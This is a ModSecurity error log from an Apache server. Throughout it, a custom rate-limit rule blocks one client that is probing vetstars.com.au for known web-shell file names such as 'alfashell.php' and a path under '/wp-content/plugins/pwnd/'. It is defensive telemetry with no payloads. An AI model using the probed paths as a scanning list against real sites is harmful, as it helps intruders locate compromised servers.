[Thu Apr 16 07:21:11.429032 2026] [:error] [pid 49094:tid 49097] [client 4.231.201.132:18051] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aeAdZzbDwvcXorHR_MyvvgAAAUE"]
[Thu Apr 16 07:21:12.012412 2026] [:error] [pid 49094:tid 49105] [client 4.231.201.132:18159] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aeAdaDbDwvcXorHR_MyvvwAAAUk"]
[Thu Apr 16 07:21:12.742663 2026] [:error] [pid 49094:tid 49115] [client 4.231.201.132:18064] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aeAdaDbDwvcXorHR_MyvxAAAAVM"]
[Thu Apr 16 07:21:13.500718 2026] [:error] [pid 29603:tid 29622] [client 4.231.201.132:18161] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aeAdaVfGOR6fpTWUAzre5gAAARE"]
[Thu Apr 16 07:21:14.447792 2026] [:error] [pid 57536:tid 57565] [client 4.231.201.132:8025] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aeAdaiQU4faGja6jpDuJyAAAABE"]
[Thu Apr 16 07:21:15.290704 2026] [:error] [pid 49094:tid 49102] [client 4.231.201.132:18160] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeAdazbDwvcXorHR_MyvyAAAAUY"]
[Thu Apr 16 07:21:15.968081 2026] [:error] [pid 29603:tid 29614] [client 4.231.201.132:18077] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeAda1fGOR6fpTWUAzre7gAAAQk"]
[Thu Apr 16 07:21:16.825810 2026] [:error] [pid 29603:tid 29628] [client 4.231.201.132:18162] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeAdbFfGOR6fpTWUAzre8QAAARc"]
[Thu Apr 16 07:21:17.772416 2026] [:error] [pid 49094:tid 49109] [client 4.231.201.132:18123] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeAdbTbDwvcXorHR_Myv1AAAAU0"]
[Thu Apr 16 07:21:18.489223 2026] [:error] [pid 29603:tid 29627] [client 4.231.201.132:18089] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aeAdblfGOR6fpTWUAzre9AAAARY"]
[Thu Apr 16 07:21:19.272493 2026] [:error] [pid 57536:tid 57572] [client 4.231.201.132:18146] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aeAdbyQU4faGja6jpDuJywAAABg"]
[Thu Apr 16 07:21:20.427418 2026] [:error] [pid 49094:tid 49111] [client 4.231.201.132:18155] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aeAdcDbDwvcXorHR_Myv2wAAAU8"]
[Thu Apr 16 07:21:21.615741 2026] [:error] [pid 49094:tid 49118] [client 4.231.201.132:18103] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aeAdcTbDwvcXorHR_Myv3QAAAVY"]
[Thu Apr 16 07:21:22.498473 2026] [:error] [pid 57538:tid 57626] [client 4.231.201.132:18125] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeAdcsuMaiEF5SVR2BdIjAAAAJg"]
[Thu Apr 16 07:21:23.191322 2026] [:error] [pid 57639:tid 57653] [client 4.231.201.132:18069] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeAdc6MCQoTw7TsxWunXnQAAAMc"]
[Thu Apr 16 07:21:24.140160 2026] [:error] [pid 57639:tid 57663] [client 4.231.201.132:18090] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeAddKMCQoTw7TsxWunXoAAAANE"]
[Thu Apr 16 07:21:25.006417 2026] [:error] [pid 57639:tid 57647] [client 4.231.201.132:18070] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeAddaMCQoTw7TsxWunXpAAAAME"]
[Thu Apr 16 07:21:25.675952 2026] [:error] [pid 49094:tid 49111] [client 4.231.201.132:18127] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bengi.php"] [unique_id "aeAddTbDwvcXorHR_Myv5gAAAU8"]
[Thu Apr 16 07:21:26.355510 2026] [:error] [pid 49094:tid 49113] [client 4.231.201.132:18172] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bengi.php"] [unique_id "aeAddjbDwvcXorHR_Myv6gAAAVE"]
[Thu Apr 16 07:21:26.966302 2026] [:error] [pid 49094:tid 49100] [client 4.231.201.132:18053] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bengi.php"] [unique_id "aeAddjbDwvcXorHR_Myv7QAAAUQ"]
[Thu Apr 16 07:21:27.980434 2026] [:error] [pid 29603:tid 29619] [client 4.231.201.132:18171] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bengi.php"] [unique_id "aeAdd1fGOR6fpTWUAzrfAwAAAQ4"]
[Thu Apr 16 07:21:28.710481 2026] [:error] [pid 29603:tid 29612] [client 4.231.201.132:18148] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeAdeFfGOR6fpTWUAzrfBgAAAQc"]
[Thu Apr 16 07:21:29.375683 2026] [:error] [pid 29603:tid 29618] [client 4.231.201.132:8142] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeAdeVfGOR6fpTWUAzrfBwAAAQ0"]
[Thu Apr 16 07:21:30.134414 2026] [:error] [pid 49094:tid 49102] [client 4.231.201.132:18066] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeAdejbDwvcXorHR_Myv9gAAAUY"]
[Thu Apr 16 07:21:30.853667 2026] [:error] [pid 57639:tid 57665] [client 4.231.201.132:18085] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeAdeqMCQoTw7TsxWunXqgAAANM"]
[Thu Apr 16 07:21:31.543761 2026] [:error] [pid 57537:tid 57575] [client 4.231.201.132:18115] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aeAde1VQRS8nm73ENAk-VAAAAEA"]
[Thu Apr 16 07:21:32.452320 2026] [:error] [pid 49094:tid 49113] [client 4.231.201.132:18079] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aeAdfDbDwvcXorHR_Myv-QAAAVE"]
[Thu Apr 16 07:21:33.486055 2026] [:error] [pid 49094:tid 49100] [client 4.231.201.132:8053] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aeAdfTbDwvcXorHR_Myv_AAAAUQ"]
[Thu Apr 16 07:21:34.148908 2026] [:error] [pid 29603:tid 29605] [client 4.231.201.132:18091] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aeAdflfGOR6fpTWUAzrfDQAAAQA"]
[Thu Apr 16 07:21:34.933365 2026] [:error] [pid 49094:tid 49107] [client 4.231.201.132:18059] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfashell.php"] [unique_id "aeAdfjbDwvcXorHR_Myv_wAAAUs"]
[Thu Apr 16 07:21:35.693682 2026] [:error] [pid 57536:tid 57548] [client 4.231.201.132:18143] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfashell.php"] [unique_id "aeAdfyQU4faGja6jpDuJzAAAAAA"]
[Thu Apr 16 07:21:36.332153 2026] [:error] [pid 57538:tid 57617] [client 4.231.201.132:18082] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfashell.php"] [unique_id "aeAdgMuMaiEF5SVR2BdIjQAAAI8"]
[Thu Apr 16 07:21:37.049226 2026] [:error] [pid 57537:tid 57587] [client 4.231.201.132:7872] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfashell.php"] [unique_id "aeAdgVVQRS8nm73ENAk-VQAAAEw"]
[Thu Apr 16 07:21:37.943560 2026] [:error] [pid 49094:tid 49108] [client 4.231.201.132:18098] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeAdgTbDwvcXorHR_MywCwAAAUw"]
[Thu Apr 16 07:21:38.665352 2026] [:error] [pid 57639:tid 57648] [client 4.231.201.132:18084] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeAdgqMCQoTw7TsxWunXrAAAAMI"]
[Thu Apr 16 07:21:39.474427 2026] [:error] [pid 29603:tid 29612] [client 4.231.201.132:18144] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeAdg1fGOR6fpTWUAzrfEgAAAQc"]
[Thu Apr 16 07:21:40.534611 2026] [:error] [pid 57639:tid 57660] [client 4.231.201.132:18054] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeAdhKMCQoTw7TsxWunXrwAAAM4"]
[Thu Apr 16 07:21:41.301465 2026] [:error] [pid 49094:tid 49103] [client 4.231.201.132:18173] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aeAdhTbDwvcXorHR_MywHwAAAUc"]
[Thu Apr 16 07:21:42.270370 2026] [:error] [pid 29603:tid 29610] [client 4.231.201.132:8101] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aeAdhlfGOR6fpTWUAzrfFgAAAQU"]
[Thu Apr 16 07:21:43.037068 2026] [:error] [pid 57537:tid 57588] [client 4.231.201.132:7952] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aeAdh1VQRS8nm73ENAk-WwAAAE0"]
[Thu Apr 16 07:21:44.194851 2026] [:error] [pid 57536:tid 57551] [client 4.231.201.132:18078] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aeAdiCQU4faGja6jpDuJzQAAAAM"]
[Thu Apr 16 07:21:45.313542 2026] [:error] [pid 29603:tid 29622] [client 4.231.201.132:18167] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aeAdiVfGOR6fpTWUAzrfGAAAARE"]
[Thu Apr 16 07:21:46.021201 2026] [:error] [pid 57536:tid 57558] [client 4.231.201.132:8110] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aeAdiiQU4faGja6jpDuJzwAAAAo"]
[Thu Apr 16 07:21:46.827119 2026] [:error] [pid 57537:tid 57581] [client 4.231.201.132:18066] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aeAdilVQRS8nm73ENAk-XwAAAEY"]
[Thu Apr 16 07:21:47.709784 2026] [:error] [pid 57538:tid 57618] [client 4.231.201.132:18130] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aeAdi8uMaiEF5SVR2BdIjwAAAJA"]
[Thu Apr 16 07:21:48.375249 2026] [:error] [pid 49094:tid 49111] [client 4.231.201.132:8149] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aeAdjDbDwvcXorHR_MywRwAAAU8"]
[Thu Apr 16 07:21:49.162836 2026] [:error] [pid 57639:tid 57663] [client 4.231.201.132:18151] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aeAdjaMCQoTw7TsxWunXsAAAANE"]
[Thu Apr 16 07:21:49.853143 2026] [:error] [pid 57639:tid 57662] [client 4.231.201.132:7966] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aeAdjaMCQoTw7TsxWunXsgAAANA"]
[Thu Apr 16 07:21:50.474874 2026] [:error] [pid 57538:tid 57605] [client 4.231.201.132:18049] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aeAdjsuMaiEF5SVR2BdIkgAAAIM"]
[Thu Apr 16 07:21:51.085229 2026] [:error] [pid 49094:tid 49119] [client 4.231.201.132:8163] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeAdjzbDwvcXorHR_MywWQAAAVc"]
[Thu Apr 16 07:21:51.611794 2026] [:error] [pid 57536:tid 57556] [client 4.231.201.132:8148] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeAdjyQU4faGja6jpDuJ0QAAAAg"]
[Thu Apr 16 07:21:52.317706 2026] [:error] [pid 29603:tid 29623] [client 4.231.201.132:18139] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeAdkFfGOR6fpTWUAzrfHgAAARI"]
[Thu Apr 16 07:21:52.883808 2026] [:error] [pid 57538:tid 57612] [client 4.231.201.132:18138] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeAdkMuMaiEF5SVR2BdImQAAAIo"]
[Thu Apr 16 07:21:53.494060 2026] [:error] [pid 29603:tid 29618] [client 4.231.201.132:8031] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aeAdkVfGOR6fpTWUAzrfIQAAAQ0"]
[Thu Apr 16 07:21:54.025033 2026] [:error] [pid 57538:tid 57614] [client 4.231.201.132:8100] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aeAdksuMaiEF5SVR2BdInAAAAIw"]
[Thu Apr 16 07:21:54.676831 2026] [:error] [pid 57538:tid 57626] [client 4.231.201.132:18175] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aeAdksuMaiEF5SVR2BdIngAAAJg"]
